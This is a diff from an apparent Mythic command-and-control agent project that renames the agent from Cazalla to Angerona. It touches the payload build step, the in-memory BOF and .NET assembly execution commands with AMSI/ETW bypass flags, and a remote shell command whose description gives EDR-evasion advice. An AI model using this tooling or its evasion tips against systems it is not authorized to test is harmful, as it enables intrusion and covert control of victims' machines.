# Get the output from the Docker Container # Get the output from the Docker Container
resp.payload = open(f"{docker_volume_folder}/cazalla.exe", "rb").read() resp.payload = open(f"{docker_volume_folder}/angerona.exe", "rb").read()
resp.build_message = "Successfully built!" resp.build_message = "Successfully built!"
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid, PayloadUUID=self.uuid,
StepName="Compiling", StepName="Compiling",
StepStdout=f"Successfully built cazalla.exe", StepStdout=f"Successfully built angerona.exe",
StepSuccess=True StepSuccess=True
)) ))
@@ -246,7 +246,7 @@ class InlineExecuteCommand(CommandBase):
help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]" help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]" description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
version = 1 version = 1
author = "@c0rnbread (adapted for Cazalla)" author = "@c0rnbread (adapted for Angerona)"
attackmapping = [] attackmapping = []
argument_class = InlineExecuteArguments argument_class = InlineExecuteArguments
completion_functions = {"coff_completion_callback": coff_completion_callback} completion_functions = {"coff_completion_callback": coff_completion_callback}
@@ -259,7 +259,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]" help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)" description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
version = 1 version = 1
author = "@c0rnbread (adapted for Cazalla)" author = "@c0rnbread (adapted for Angerona)"
script_only = True script_only = True
attackmapping = [] attackmapping = []
argument_class = InlineExecuteAssemblyArguments argument_class = InlineExecuteAssemblyArguments
@@ -30,7 +30,7 @@ class ShellCommand(CommandBase):
cmd = "shell" cmd = "shell"
needs_admin = False needs_admin = False
help_cmd = "shell <command>" help_cmd = "shell <command>"
description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Cazalla commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution." description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Angerona commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution."
version = 1 version = 1
author = "Kaseya OFSTeam" author = "Kaseya OFSTeam"
attackmapping = ["T1059"] attackmapping = ["T1059"]
@@ -80,7 +80,7 @@ class ShellCommand(CommandBase):
message += f"{warning}\n" message += f"{warning}\n"
message += "\n" message += "\n"
message += "Consider using built-in Cazalla commands instead:\n" message += "Consider using built-in Angerona commands instead:\n"
message += " • Use 'ps' instead of 'tasklist'\n" message += " • Use 'ps' instead of 'tasklist'\n"
message += " • Use 'ls' instead of 'dir'\n" message += " • Use 'ls' instead of 'dir'\n"
message += " • Use 'cat' instead of 'type'\n" message += " • Use 'cat' instead of 'type'\n"

Some files were not shown because too many files have changed in this diff Show More